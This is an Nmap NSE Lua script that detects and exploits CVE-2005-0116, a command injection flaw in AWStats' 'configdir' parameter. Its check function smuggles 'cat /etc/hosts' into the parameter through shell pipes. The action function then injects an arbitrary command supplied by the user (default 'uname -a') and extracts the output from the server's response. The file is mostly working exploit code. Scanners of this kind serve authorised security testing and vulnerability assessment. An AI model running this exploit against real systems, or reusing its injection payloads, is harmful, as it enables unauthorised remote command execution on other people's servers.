local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local url = require "url"
local vulns = require "vulns"

description = [[
Exploits a remote code execution vulnerability (CVE-2005-0116) in AWStats. Versions <= 6.2 are known to be vulnerable.

AWStats does not sanitise correctly the user input for the 'configdir' parameter. When 'awstats.pl' is run as a CGI script, it fails to validate specific inputs which are used in a Perl open() function call. 

References:
* http://www.cvedetails.com/cve/CVE-2005-0116
* http://www.securityfocus.com/bid/12298
* http://www.rapid7.com/db/modules/exploit/unix/webapp/awstats_configdir_exec
]]

---
-- @usage
-- nmap --script http-awstats-configdir --script-args 'http-awstats-configdir.cmd="whoami", http-awstats-configdir.uri=/awstats/index.php' <target>
-- nmap --script http-awstats-configdir <target>
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-awstats-configdir: 
-- |   VULNERABLE:
-- |   AWStats Remote Command Execution Vulnerability
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2005-0116
-- |     Description:
-- |       AWStats does not correctly sanitise the user input for the 'configdir'
-- |       parameter. When 'awstats.pl' is run as a CGI script, it fails to
-- |       validate specific inputs which are used in a Perl open() function call.
-- |       It allows to execute arbitrary code on affected machine.
-- |       
-- |     Disclosure date: 2005-01-15
-- |     Exploit results:
-- |       Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
-- |     References:
-- |       http://www.rapid7.com/db/modules/exploit/unix/webapp/awstats_configdir_exec
-- |       http://www.securityfocus.com/bid/12298
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0116
-- |_      http://www.cvedetails.com/cve/CVE-2005-0116
--
-- @args http-awstats-configdir.uri Awstats URI including path. Default: /awstats/awstats.pl
-- @args http-awstats-configdir.cmd Command to execute. Default: uname -a
---

author = "Mariusz Ziulek <mzet()owasp org>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}

portrule = shortport.http

--default values
local DEFAULT_CMD = "uname -a"
local DEFAULT_URI = "/awstats/awstats.pl"

-- checks if Awstats installation is vulnerable 
local function check(host, port, path)

  local checkStr = '?configdir=|echo;cat%20%2fetc%2fhosts;echo|'
  stdnse.debug(1, "Checking if host is vulnerable ...")
  local res = http.get(host, port, path.. checkStr)

  if res.status and string.find(res.body, 'localhost') ~= nil then
    stdnse.debug(1, string.format("'localhost' found in response. Host is VULNERABLE.", checkStr))
    return true
  end

  stdnse.debug(1, string.format("'localhost' not found in response. Host is NOT VULNERABLE.", checkStr))
  return false
end

action = function(host, port)
  local output = {}
  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or DEFAULT_URI
  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or DEFAULT_CMD

  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
  local vuln = {
    title = 'AWStats Remote Command Execution Vulnerability',
    state = vulns.STATE.NOT_VULN, 
    description = [[
AWStats does not correctly sanitise the user input for the 'configdir'
parameter. When 'awstats.pl' is run as a CGI script, it fails to
validate specific inputs which are used in a Perl open() function call.
It allows to execute arbitrary code on affected machine.
]],
    IDS = {CVE = 'CVE-2005-0116'},
    references = {
      'http://www.cvedetails.com/cve/CVE-2005-0116',
      'http://www.securityfocus.com/bid/12298',
      'http://www.rapid7.com/db/modules/exploit/unix/webapp/awstats_configdir_exec'
    },
    dates = {
      disclosure = {year = '2005', month = '01', day = '15'},
    },
  }

  -- if host is vulnerable try to exploit it
  if check(host, port, uri) then

    -- set host as VULNERABLE 
    vuln.state = vulns.STATE.VULN

    stdnse.debug(1, "Exploiting the vulnerability ...")
    local urlconfigdir = uri.."?configdir=|echo;echo%20ZZZ;"..url.escape(cmd)..";echo%20ZZZ;echo|"
    local req = http.get(host, port, urlconfigdir)

    if req.status and req.status == 200 then

      local m = string.match(req.body, 'ZZZ\n(.*)\nZZZ')
      if m ~= nil then
        stdnse.debug(1, "Got expected response. Host is exploitable.")
        vuln.state = vulns.STATE.EXPLOIT
        vuln.exploit_results = m
      else
        stdnse.debug(1, "Unexpected response from the host. Exploit failed.")
      end

    else
      stdnse.debug(1, "No response from the host.")
    end
  end

  return vuln_report:make_output(vuln)
end
